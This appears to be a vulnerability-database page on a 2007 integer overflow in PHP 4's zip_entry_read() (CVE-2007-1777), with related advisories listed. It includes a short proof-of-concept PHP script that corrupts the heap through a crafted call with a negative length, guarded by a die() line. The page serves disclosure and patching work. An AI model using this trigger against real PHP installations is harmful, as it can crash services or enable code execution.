PHP 4.4.4 - 'Zip_Entry_Read()' Integer Overflow
| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| PHP < 4.4.5 / 5.2.1 Multiple Vulnerabilities | 9 Feb 200700:00 | – | nessus | |
| Debian DSA-1282-1 : php4 - several vulnerabilities | 30 Apr 200700:00 | – | nessus | |
| Debian DSA-1283-1 : php5 - several vulnerabilities | 30 Apr 200700:00 | – | nessus | |
| PHP < 4.4.5 Multiple Vulnerabilities | 2 Apr 200700:00 | – | nessus | |
| CVE-2007-1777 | 30 Mar 200701:00 | – | cve | |
| CVE-2007-1777 | 30 Mar 200701:00 | – | cvelist | |
| [SECURITY] [DSA 1282-1] New php4 packages fix several vulnerabilities | 26 Apr 200718:23 | – | debian | |
| [SECURITY] [DSA 1283-1] New php5 packages fix several vulnerabilities | 29 Apr 200720:16 | – | debian | |
| K31530542: PHP vulnerabilities CVE-2007-1777, CVE-2007-3997, CVE-2007-4657, CVE-2008-3658, and CVE-2008-3659 | 21 Feb 202318:34 | – | f5 | |
| SOL31530542 - PHP vulnerabilities CVE-2007-1777, CVE-2007-3997, CVE-2007-4657, CVE-2008-3658, and CVE-2008-3659 | 20 Oct 201600:00 | – | f5 |
10
source: https://www.securityfocus.com/bid/23169/info
PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a heap-based buffer overflow.
Exploiting this issue may allow attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.
This issue affects versions prior to PHP 4.4.5.
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4 zip_entry_read() Integer Overflow Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
$r = zip_open("x.zip");
$e = zip_read($r);
$x = zip_entry_open($r, $e);
for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
unset($arr[600]);
zip_entry_read($e, -1);
unset($arr[601]);
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Nov 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.15328